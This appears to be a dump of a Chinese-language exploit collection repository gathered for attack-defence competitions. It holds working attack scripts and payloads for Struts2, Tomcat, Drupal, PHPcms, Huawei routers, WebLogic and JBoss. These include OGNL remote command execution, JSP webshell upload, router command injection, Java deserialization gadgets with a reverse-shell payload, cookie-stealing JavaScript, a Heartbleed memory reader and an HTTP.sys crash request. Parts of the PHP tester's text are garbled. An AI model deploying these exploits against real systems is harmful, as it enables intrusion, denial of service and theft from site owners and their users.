├── CMS ├── Discuz │ └── Discuz_v3.4 │ │ ├── README.md │ │ └── form.php ├── PHPcms │ └── v9.6.0 │ │ ├── README.md │ │ └── php_v9.6.0_getshell.py ├── Seacms │ └── Seacms_v6.54 │ │ ├── README.md │ │ └── Seacms_v6.54_exp.py ├── DeDeCMS │ └── DeDeCMS_v5.7_sp2 │ │ └── Any_user_passwd_reset │ │ └── README.md ├── Joomla │ ├── Joomla_v3.7.5 │ │ ├── README.md │ │ └── Joomla_v3.7.5.php │ └── Joomla_v3.4.6 │ │ └── README.md ├── sugarCRM │ ├── sugarCRM_v6.5.23 │ │ ├── README.md │ │ └── sugarCRM_v6.5.23_exp.py │ └── sugarCRM_v6.5.26 │ │ └── README.md ├── Drupal │ └── Drupal_CVE-2018-7600_v8.5.0 │ │ ├── README.md │ │ ├── CVE-2018-7600.py │ │ └── CVE-2018-7600plus.py ├── Electron │ └── CVE-2018-1000006 │ │ ├── poc.html │ │ └── README.md ├── PHPMyWind │ └── 2014-2017 │ │ └── README.md ├── WordPress │ ├── WordPress_v4.7.4 │ │ └── README.md │ └── WordPress_v4.8.2 │ │ └── README.md └── Ecshop │ └── Ecshop_2.7.x_3.6.x_RCE │ └── README.md ├── svn_file_disclosure ├── README.md └── svn_poc.py ├── struts2 ├── struts2-045-exp │ ├── README.md │ └── struts2-045.py └── struts2-048-exp │ ├── README.md │ └── struts2-048.py ├── CVE_EXP ├── Memcrashed-DDoS-Exploit │ ├── requirements.txt │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── Dockerfile │ ├── README.md │ └── Memcrashed.py ├── CVE-2015-1635 │ ├── README.md │ └── 在线测试源码.php ├── CVE-2018-5711-hanging-websites-by-a-harmful-gif │ ├── example │ │ └── poc.gif │ └── README.md ├── Exim │ ├── README.md │ └── Exim_4.8_4.9 │ │ ├── CVE-2017-16943_RCE.py │ │ └── CVE-2017-16944_DOS.py ├── OpenSSL心脏滴血漏洞 │ ├── README.md │ ├── Auto.py │ └── openssl.py ├── CVE-2017-17215 │ ├── README.md │ └── CVE-2017-17215.py ├── CVE-2018-2628 weblogic │ ├── readme.md │ └── CVE-2018-2628.py ├── CVE-2017-11882 │ ├── README.md │ ├── PS_shell.rb │ └── Command_CVE-2017-11882.py ├── CVE-2012-0053 │ ├── README.md │ └── CVE-2012-0053.js ├── CVE-2017-16995 Ubuntu 16.04 本地提权漏洞 │ ├── README.md │ └── upstream44.c └── Java_Debug_Wire_Potocol_remote_code │ ├── README.md │ └── java_jdwp_debugger.rb ├── ThinkPHP ├── ThinkPHP_v5.0.10-v3.2.3 │ ├── 1.png │ ├── 2.png │ └── README.md └── Thinkphp- 5.0.16 │ └── readme.md ├── JbossAS └── JbossAS_v5.x_v6.x_CVE-2017-12149 │ ├── JavaDeserH2HC │ ├── xstream-1.4.6.jar │ ├── commons-collections-3.2.1.jar │ ├── LICENSE │ ├── Alien.java │ ├── TestSerialize.java │ ├── TestDeserialize.java │ ├── SomeInvocationHandler.java │ ├── ForgottenClass.java │ ├── ExploitGadgetExample1.java │ ├── reverseShellMultiplatformCommonsCollections.xml │ ├── ExampleTransformersWithLazyMap.java │ ├── DnsWithCommonsCollections.java │ ├── SleepExample.java │ ├── ReverseShellCommonsCollectionsHashMap.java │ ├── README.md │ ├── ExampleCommonsCollections1.java │ └── VulnerableHTTPServer.java │ └── README.md ├── README.md ├── Tomcat ├── Tomcat-7.0.0-7.0.79 │ ├── README.md │ └── Tomcat-CVE-12615.py └── Tomcat-weekpassword.md ├── Ueditor └── Ueditor_.net_20180803 │ └── README.md ├── ImageMagick └── Ghostscript_9.23 │ └── README.md └── FCKeditor └── FCKeditor_2.6.3 └── exp_fckeditor_2.6.3.php /CMS/Discuz/Discuz_v3.4/README.md: -------------------------------------------------------------------------------- 1 | ## Discuz!x v_3.4以下 任意文件删除漏洞 2 | -------------------------------------------------------------------------------- /CMS/PHPcms/v9.6.0/README.md: -------------------------------------------------------------------------------- 1 | ## PHPcms v9.6.0 任意文件上传 可直接Getshell 2 | -------------------------------------------------------------------------------- /svn_file_disclosure/README.md: -------------------------------------------------------------------------------- 1 | ### 新版本svn文件泄露 利用.svn目录下的`wc.db`来读取任意文件 2 | -------------------------------------------------------------------------------- /struts2/struts2-045-exp/README.md: -------------------------------------------------------------------------------- 1 | ### `Usage : python struts2-045.py url cmd` 2 | -------------------------------------------------------------------------------- /struts2/struts2-048-exp/README.md: -------------------------------------------------------------------------------- 1 | ### 利用条件: 2 | * 目标站点需要存在struts2-showcase目录 3 | -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/requirements.txt: -------------------------------------------------------------------------------- 1 | scapy==2.4.0rc5 2 | shodan==1.7.7 3 | -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/Memcrashed-DDoS-Exploit/1.png -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/Memcrashed-DDoS-Exploit/2.png -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/Memcrashed-DDoS-Exploit/3.png -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/Memcrashed-DDoS-Exploit/4.png -------------------------------------------------------------------------------- /ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/1.png -------------------------------------------------------------------------------- /ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/2.png -------------------------------------------------------------------------------- /CMS/Seacms/Seacms_v6.54/README.md: -------------------------------------------------------------------------------- 1 | ### 漏洞详情: 2 | * 漏洞位于`search.php`处,`echoSearchPage()函数对html中的searchpage标签进行了多次的替换,多次替换过程中不断组合形成payload` 3 | -------------------------------------------------------------------------------- /CMS/DeDeCMS/DeDeCMS_v5.7_sp2/Any_user_passwd_reset/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CMS/DeDeCMS/DeDeCMS_v5.7_sp2/Any_user_passwd_reset/README.md -------------------------------------------------------------------------------- /CVE_EXP/CVE-2015-1635/README.md: -------------------------------------------------------------------------------- 1 | # Microsoft Windows HTTP.sys(CVE-2015-1635) 2 | 3 | 蓝屏POC: 4 | * `wget http://www.host.com --header="Range: bytes=0-18446744073709551615"` 5 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2018-5711-hanging-websites-by-a-harmful-gif/example/poc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/CVE-2018-5711-hanging-websites-by-a-harmful-gif/example/poc.gif -------------------------------------------------------------------------------- /CVE_EXP/Exim/README.md: -------------------------------------------------------------------------------- 1 | # Exim 2 | 3 | ## 简介 4 | * Exim是由剑桥大学Philip Hazel开发的邮件传输代理,负责邮件的路由,转发和投递。它可运行在绝大多数的类Unix系统上,包括Solaris、AIX、Linux、macOS等。相比其他MTA,Exim配置更灵活,支持String Expansion技术,能执行诸如条件判断,字符转换等功能。 5 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/xstream-1.4.6.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/xstream-1.4.6.jar -------------------------------------------------------------------------------- /CMS/Joomla/Joomla_v3.7.5/README.md: -------------------------------------------------------------------------------- 1 | ### 漏洞详情: 2 | * LDAP注入漏洞(盲注) 3 | 4 | ### 漏洞利用条件: 5 | * `Joomla! 1.5 <= 3.7.5` 6 | 7 | * Joomla!配置通过LDAP认证 8 | 9 | * 该漏洞不是由配置缺陷造成,攻击者不需要任何权限就可以利用此漏洞。 10 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/commons-collections-3.2.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/commons-collections-3.2.1.jar -------------------------------------------------------------------------------- /CVE_EXP/OpenSSL心脏滴血漏洞/README.md: -------------------------------------------------------------------------------- 1 | ### OpenSSL心脏滴血漏洞利用工具 2 | 3 | ## 利用方法 4 | 5 | * 测试方法为`python openssl.py url` 如果显示server vul 说明存在 6 | 7 | * 自动获取信息并且将其存入data_1文件夹的txt中,`python Auto.py` 将Auto.py里面的Dict里面加入你想要测试的url.可以根据需求自己修改脚本。 8 | -------------------------------------------------------------------------------- /CMS/sugarCRM/sugarCRM_v6.5.23/README.md: -------------------------------------------------------------------------------- 1 | # sugarCRM反序列化漏洞(对象注入漏洞)绕过__wakeup 2 | 3 | ### 影响版本 `SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10` 4 | 5 | ### 修复建议: 6 | include/utils.php sugar_unserialize函数正则匹配修正为 /[oc]:[^:]*\d+:/i·· 7 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2017-17215/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-17215 2 | Usage: CVE-2017-12149.py http://targetip:37215/ 3 | I am so poor that cant afford to but a HUAWEI router XD so it is not tested on any machine~ 4 | but the exp technically should be working 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 0day 2 | * 各种开源CMS 各种版本的漏洞以及EXP 该项目将不断更新 3 | ## 为什么发起这个项目? 4 | 几个月前,我参加了一场AWD攻防比赛,发现提前收集POC对比赛有好处而且在收集这些payload的同时,也能学到许多东西. 5 | ## 问题反馈 6 | 在使用中有任何问题,欢迎反馈给我,可以用以下联系方式跟我交流 7 | * 邮件(MrSm1th@163.com) 8 | ### 如果你想共同维护这个项目? 9 | * 联系邮箱(MrSm1th@163.com) 10 | -------------------------------------------------------------------------------- /CMS/Drupal/Drupal_CVE-2018-7600_v8.5.0/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-7600 2 | 3 | ## THANKS 4 | 5 | * [https://github.com/g0rx/CVE-2018-7600-Drupal-RCE](https://github.com/g0rx/CVE-2018-7600-Drupal-RCE) 6 | 7 | ## POC 8 | 9 | * CVE-2018-7600.py为任意命令执行脚本 10 | * CVE-2018-7600plus.py为批量检测脚本 11 | 12 | -------------------------------------------------------------------------------- /CMS/Electron/CVE-2018-1000006/poc.html: -------------------------------------------------------------------------------- 1 | 2 |
3 | POC for CVE-2018-1000006 4 | 5 | 6 |"+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>'''
7 | try:
8 | conn = httplib.HTTPConnection(sys.argv[1])
9 | conn.request(method='OPTIONS', url='/ffffzz')
10 | headers = dict(conn.getresponse().getheaders())
11 | if 'allow' in headers and \
12 | headers['allow'].find('PUT') > 0 :
13 | conn.close()
14 | conn = httplib.HTTPConnection(sys.argv[1])
15 | url = "/" + str(int(time.time()))+'.jsp/'
16 | #url = "/" + str(int(time.time()))+'.jsp::$DATA'
17 | conn.request( method='PUT', url= url, body=body)
18 | res = conn.getresponse()
19 | if res.status == 201 :
20 | #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
21 | print 'shell:', 'http://' + sys.argv[1] + url[:-1]
22 | elif res.status == 204 :
23 | print 'file exists'
24 | else:
25 | print 'error'
26 | conn.close()
27 | else:
28 | print 'Server not vulnerable'
29 |
30 | except Exception,e:
31 | print 'Error:', e
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestDeserialize.java:
--------------------------------------------------------------------------------
1 | import java.io.*;
2 | /**
3 | * Exemplo simples que demonstra a desserialização nativa de um objeto
4 | * salvo em um arquivo. Observe que, durante a desserialização, o método
5 | * readObject da classe Alien (que é o tipo do Objeto sendo desserializado)
6 | * é automaticamente invocado - por isso, chamado de magic method.
7 | *
8 | * -----------------------------------------------------------------------
9 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
10 | * https://www.h2hc.com.br/revista/
11 | * ----------------------------------------------------------------------- *
12 | *
13 | * **** USAGE ****
14 | *
15 | * Compilando:
16 | * $ javac TestDeserialize.java
17 | *
18 | * Executando
19 | * $ java TestDeserialize
20 | *
21 | * OBS: lembre de executar o exemplo TestSerialize antes, de forma
22 | * a gerar o objeto serializado no arquivo (ET_object.ser), que
23 | * será desserializado por este exemplo.
24 | *
25 | *
26 | * @author @joaomatosf
27 | */
28 | public class TestDeserialize {
29 |
30 | public static void main(String[] args)
31 | throws IOException, ClassNotFoundException {
32 | // Obtem stream de bytes a partir do arquivo salvo em disco
33 | FileInputStream fis = new FileInputStream("ET_object.ser");
34 | ObjectInputStream ois = new ObjectInputStream(fis);
35 | // Realiza a desserialização! Nesse momento, os magic methods da classe
36 | // Alien serão automaticamente invocados! (ie. readObject)
37 | Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao
38 | System.out.println("Hi, I'm "+ET.name+" from "+ET.source);
39 |
40 | }
41 | }
42 |
43 |
--------------------------------------------------------------------------------
/struts2/struts2-045-exp/struts2-045.py:
--------------------------------------------------------------------------------
1 | import urllib
2 | import urllib2,sys
3 | from poster.encode import multipart_encode
4 | from poster.streaminghttp import register_openers
5 | cmd= sys.argv[2]
6 | # cd webapps\\ROOT & dir
7 | def main():
8 | register_openers()
9 | datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
10 | header["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
11 | header["Accept"]="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
12 | header['Host']="www.okii.com"
13 | header['Accept-Language']="zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"
14 | header["Content-Type"]='''%{(#nike='multipart/form-data').
15 | (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
16 | (#_memberAccess?(#_memberAccess=#dm):
17 | ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
18 | (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
19 | (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
20 | (#context.setMemberAccess(#dm)))).(#cmd=' '''+cmd+''' ').
21 | (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
22 | (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
23 | (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
24 | (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
25 | getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
26 | (#ros.flush())}'''
27 | request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
28 | response = urllib2.urlopen(request)
29 | print response.read()
30 |
31 | if __name__ == '__main__':
32 | main()
--------------------------------------------------------------------------------
/CVE_EXP/CVE-2017-17215/CVE-2017-17215.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import sys
3 |
4 | url_in = sys.argv[1]
5 | payload_url = url_in + "/ctrlt/DeviceUpgrade_1"
6 | payload_header = {'content-type': 'text/xml'}
7 |
8 |
9 | def payload_command (command_in):
10 | html_escape_table = {
11 | "&": "&",
12 | '"': """,
13 | "'": "'",
14 | ">": ">",
15 | "<": "<",
16 | }
17 | command_filtered = "
", #密码 akkuman
32 | "dosubmit": "1",
33 | "protocol": "",
34 | }
35 | try:
36 | startTime, _ = getTime()
37 | htmlContent = requests.post(url, data=data)
38 | finishTime, dateUrl = getTime()
39 | if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
40 | successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
41 | print("[*]Shell : %s" % successUrl)
42 | else:
43 | print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n")
44 | successUrl = ""
45 | for t in range(startTime, finishTime):
46 | checkUrlHtml = requests.get(
47 | host + "/uploadfile/" + dateUrl + str(t) + ".php")
48 | if checkUrlHtml.status_code == 200:
49 | successUrl = host + "/uploadfile/" + \
50 | dateUrl + str(t) + ".php"
51 | print("[*]Shell : %s" % successUrl)
52 | break
53 | if successUrl == "":
54 | print(
55 | "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
56 | except:
57 | print("Request Error")
58 | if __name__ == '__main__':
59 | main()
--------------------------------------------------------------------------------
/CMS/Drupal/Drupal_CVE-2018-7600_v8.5.0/CVE-2018-7600plus.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import requests
4 | import threading
5 | import Queue
6 | import sys
7 | import time
8 | import argparse
9 | import os
10 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
11 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
12 |
13 |
14 | #Drupal Drupalgeddon 2
15 | #(SA-CORE-2018-002 / CVE-2018-7600)
16 | #Exploit by Dan Sharvit - (Shlacky) - Cynoia.com linkedin.com/in/dansharv
17 | #https://github.com/sl4cky/CVE-2018-7600
18 | #mass vulnerability checker
19 |
20 |
21 | G = '\033[92m' # green
22 | Y = '\033[93m' # yellow
23 | B = '\033[94m' # blue
24 | R = '\033[91m' # red
25 | W = '\033[0m' # white
26 |
27 | def parse_args():
28 | # parse the arguments
29 | parser = argparse.ArgumentParser(epilog='')
30 | parser._optionals.title = "OPTIONS"
31 | parser.add_argument('-f', '--file', help="file with urls to test", required=True)
32 | parser.add_argument('-o', '--output', help="output to write vulnerable servers", required=False)
33 | parser.add_argument('-t', '--threads', help="amount of threads", required=False, default=10)
34 | return parser.parse_args()
35 |
36 |
37 | class exploit(threading.Thread):
38 |
39 | def __init__(self,queue):
40 | threading.Thread.__init__(self)
41 | self.queue = queue
42 |
43 |
44 | def write_to_file(self,url):
45 | with open(output,'a+') as f:
46 | f.write(url + "\n")
47 | f.close()
48 |
49 |
50 | def check_url(self,url):
51 | target_url = "{}/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax".format(url)
52 | try:
53 | r = requests.post(target_url, headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}, data={"form_id": "user_register_form", "_drupal_ajax": "1", "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": "echo 'hehe'"})
54 | if r.status_code == 200:
55 | print "{}[!] {} is vulnerable{}".format(R,url,W)
56 | if output:
57 | self.write_to_file(url)
58 | else:
59 | print "[*] - Testing {}".format(url)
60 | except:
61 | "[*] An error occured"
62 | sys.exit(1)
63 |
64 |
65 | def run(self):
66 | while True:
67 | try:
68 | url = self.queue.get(timeout=0.2)
69 | except:
70 | continue
71 |
72 | self.check_url(url)
73 |
74 | self.queue.task_done()
75 |
76 |
77 | def main():
78 | queue = Queue.Queue()
79 |
80 | if os.path.isfile(file) == False:
81 | print "[*] Your inputfile doesn't exist"
82 | sys.exit(1)
83 |
84 | global urls
85 | urls = open(file, 'r').read().splitlines()
86 |
87 | for i in range(threads):
88 | t = exploit(queue)
89 | t.setDaemon(True)
90 | t.start()
91 |
92 | for url in urls:
93 | queue.put(url)
94 |
95 | queue.join()
96 |
97 |
98 |
99 | if __name__ == '__main__':
100 | args = parse_args()
101 | file = args.file
102 | threads = args.threads
103 | output = args.output
104 | main()
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExploitGadgetExample1.java:
--------------------------------------------------------------------------------
1 | import java.io.FileInputStream;
2 | import java.io.FileOutputStream;
3 | import java.io.IOException;
4 | import java.io.ObjectInputStream;
5 | import java.io.ObjectOutputStream;
6 | import java.lang.reflect.Field;
7 | import java.lang.reflect.InvocationHandler;
8 | import java.lang.reflect.Proxy;
9 | import java.util.Map;
10 |
11 | /**
12 | * Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
13 | * o fluxo de execução durante a desserialização.
14 | * Esse código gera um payload para explorar um sistema hipotético que contenha
15 | * as classes ForgottenClass e SomeInvocationHandler no classpatch.
16 | *
17 | * -----------------------------------------------------------------------
18 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
19 | * https://www.h2hc.com.br/revista/
20 | * -----------------------------------------------------------------------
21 | *
22 | **** USAGE ****
23 | *
24 | * Compilando:
25 | * $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
26 | *
27 | * Executando
28 | * $ rm /tmp/h2hc_2017
29 | * $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
30 | * $ ls -all /tmp/h2hc_2017
31 | *
32 | *
33 | * @author @joaomatosf
34 | */
35 | public class ExploitGadgetExample1{
36 | @SuppressWarnings ( {"unchecked"} )
37 | public static void main(String[] args)
38 | throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,
39 | IOException, ClassNotFoundException {
40 |
41 | // Instancia um SomeInvocationHandler
42 | InvocationHandler handler = new SomeInvocationHandler();
43 | Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler
44 | fieldHandler.setAccessible(true); // torna o campo "cmd" acessível
45 | fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"
46 |
47 | // criar interface Map
48 | Class[] interfaceMap = new Class[] {java.util.Map.class};
49 | // Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
50 | Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);
51 |
52 | // Intancia ForgottenClass (que sera' serializado)
53 | ForgottenClass gadget = new ForgottenClass();
54 | Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass
55 | field.setAccessible(true); // torna o campo "map" acessível
56 | field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"
57 |
58 | // Serializa objeto do ForgottenClass e salva no disco
59 | System.out.println("Serializing ForgottenClass");
60 | FileOutputStream fos = new FileOutputStream("/tmp/object.ser");
61 | ObjectOutputStream oos = new ObjectOutputStream(fos);
62 | oos.writeObject(gadget);
63 | oos.flush();
64 |
65 | // Desserializa objeto a partir do arquivo, para simular o que devera
66 | // ocorrer quando o objeto for desserializado por uma aplicacao
67 | System.out.println("Deserializing ForgottenClass");
68 | FileInputStream fis = new FileInputStream("/tmp/object.ser");
69 | ObjectInputStream ois = new ObjectInputStream(fis);
70 | ois.readObject(); // <-- Inicia a desserializacao!
71 | } //end main
72 | }
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/reverseShellMultiplatformCommonsCollections.xml:
--------------------------------------------------------------------------------
1 |
19 | content
30 | var content = xhr.responseText.replace(/\r|\n/g,'').match(/(.+)<\/pre>/);
31 | if (content.length) {
32 | // Remove Cookie: prefix
33 | content = content[1].replace("Cookie: ", "");
34 | var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
35 | // Add cookies to object
36 | for (var i=0; i content
82 | var content = xhr.responseText.replace(/\r|\n/g,'').match(/(.+)<\/pre>/);
83 | if (content.length) {
84 | // Remove Cookie: prefix
85 | content = content[1].replace("Cookie: ", "");
86 | var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
87 | // Add cookies to object
88 | for (var i=0; i 0:
57 | rtime = endtime - time.time()
58 | if rtime < 0:
59 | return None
60 | r, w, e = select.select([s], [], [], 5)
61 | if s in r:
62 | data = s.recv(remain)
63 | # EOF?
64 | if not data:
65 | return None
66 | rdata += data
67 | remain -= len(data)
68 | return rdata
69 |
70 |
71 | def recvmsg(s):
72 | hdr = recvall(s, 5)
73 | if hdr is None:
74 | print 'Unexpected EOF receiving record header - server closed connection'
75 | return None, None, None
76 | typ, ver, ln = struct.unpack('>BHH', hdr)
77 | pay = recvall(s, ln, 10)
78 | if pay is None:
79 | print 'Unexpected EOF receiving record payload - server closed connection'
80 | return None, None, None
81 | print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
82 | return typ, ver, pay
83 |
84 | def hit_hb(s):
85 | s.send(hb)
86 | while True:
87 | typ, ver, pay = recvmsg(s)
88 | if typ is None:
89 | print 'No heartbeat response received, server likely not vulnerable'
90 | return False
91 |
92 | if typ == 24:
93 | print 'Received heartbeat response:'
94 | hexdump(pay)
95 | if len(pay) > 3:
96 | print 'WARNING: server returned more data than it should - server is vulnerable!'
97 | else:
98 | print 'Server processed malformed heartbeat, but did not return any extra data.'
99 | return True
100 |
101 | if typ == 21:
102 | print 'Received alert:'
103 | hexdump(pay)
104 | print 'Server returned error, likely not vulnerable'
105 | return False
106 |
107 | def main():
108 | opts, args = options.parse_args()
109 | if len(args) < 1:
110 | options.print_help()
111 | return
112 |
113 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
114 | print 'Connecting...'
115 | sys.stdout.flush()
116 | s.connect((args[0], opts.port))
117 | print 'Sending Client Hello...'
118 | sys.stdout.flush()
119 | s.send(hello)
120 | print 'Waiting for Server Hello...'
121 | sys.stdout.flush()
122 | while True:
123 | typ, ver, pay = recvmsg(s)
124 | if typ == None:
125 | print 'Server closed connection without sending Server Hello.'
126 | return
127 | # Look for server hello done message.
128 | if typ == 22 and ord(pay[0]) == 0x0E:
129 | break
130 |
131 | print 'Sending heartbeat request...'
132 | sys.stdout.flush()
133 | s.send(hb)
134 | hit_hb(s)
135 |
136 | if __name__ == '__main__':
137 | main()
--------------------------------------------------------------------------------
/CVE_EXP/CVE-2015-1635/在线测试源码.php:
--------------------------------------------------------------------------------
1 | 无法连接到 '; . $host . '; 测试漏洞。';;
19 | case self::VULN : return ';'; . $host . '; 存在漏洞。';;
20 | case self::VULN_NOT_MS: return ';'; . $host . '; 可能存在漏洞,但它好像没使用IIS。';;
21 | case self::PATCHED : return ';'; . $host . '; 已修复。';;
22 | case self::NOT_VULN : return ';不能识别补丁状态 '; . $host . ';, 并没有使用IIS,可能不存在漏洞。';;
23 | case self::NOT_VULN_MS: return ';不能识别补丁状态 '; . $host . ';. 可能不存在漏洞。';;
24 | case self::NOT_VULN_CF: return ';'; . $host . '; 可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。';;
25 | }
26 |
27 | return ';好像坏了';;
28 | }
29 | }
30 |
31 | $host = false;
32 | $status = false;
33 | $url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL );
34 |
35 | if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null )
36 | {
37 | $url = ';http://'; . $url;
38 | }
39 |
40 | $port = parse_url( $url, PHP_URL_PORT );
41 |
42 | if( $port === null )
43 | {
44 | $port = 80;
45 | }
46 |
47 | $url = parse_url( $url, PHP_URL_HOST );
48 |
49 | if( $url !== null )
50 | {
51 | $cachekey = ';ms15034_'; . $url . ';_'; . $port;
52 | $cachetime = 300; // 5 minutes
53 |
54 | $host = htmlspecialchars( $url, ENT_HTML5 );
55 |
56 | if( $port !== 80 )
57 | {
58 | $host .= ';:'; . $port;
59 | }
60 |
61 | $memcached = new Memcached( );
62 | $memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 );
63 |
64 | $status = $memcached->get( $cachekey );
65 |
66 | if( $status === false )
67 | {
68 | $fp = @fsockopen( $url, $port, $errno, $errstr, 5 );
69 |
70 | if( $fp === false )
71 | {
72 | $status = VulnStatus::FAIL;
73 | }
74 | else
75 | {
76 | stream_set_timeout( $fp, 5 );
77 |
78 | $header = "GET / HTTP/1.1\r\n";
79 | $header .= "Host: stuff\r\n";
80 | $header .= "Range: bytes=0-18446744073709551615\r\n";
81 | $header .= "Connection: close\r\n\r\n";
82 |
83 | fwrite( $fp, $header );
84 |
85 | $response = fread( $fp, 1024 );
86 |
87 | fclose( $fp );
88 |
89 | if( strpos( $response, ';您的请求范围不符合'; ) !== false )
90 | {
91 | $status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;
92 | }
93 | else if( strpos( $response, ';请求一个无效的header头部'; ) !== false )
94 | {
95 | $cachetime = 3600; // 缓存时间
96 | $status = VulnStatus::PATCHED;
97 | }
98 | else if( strpos( $response, ';Microsoft'; ) === false )
99 | {
100 | if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false )
101 | {
102 | $status = VulnStatus::NOT_VULN_CF;
103 | }
104 | else
105 | {
106 | $status = VulnStatus::NOT_VULN;
107 | }
108 | }
109 | else
110 | {
111 | $status = VulnStatus::NOT_VULN_MS;
112 | }
113 | }
114 |
115 | unset( $fp, $header, $response );
116 |
117 | $memcached->set( $cachekey, $status, $cachetime );
118 | }
119 |
120 | $status = VulnStatus::AsString( $status, $host );
121 | }
122 | ?>
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 | MS15-034 测试
132 |
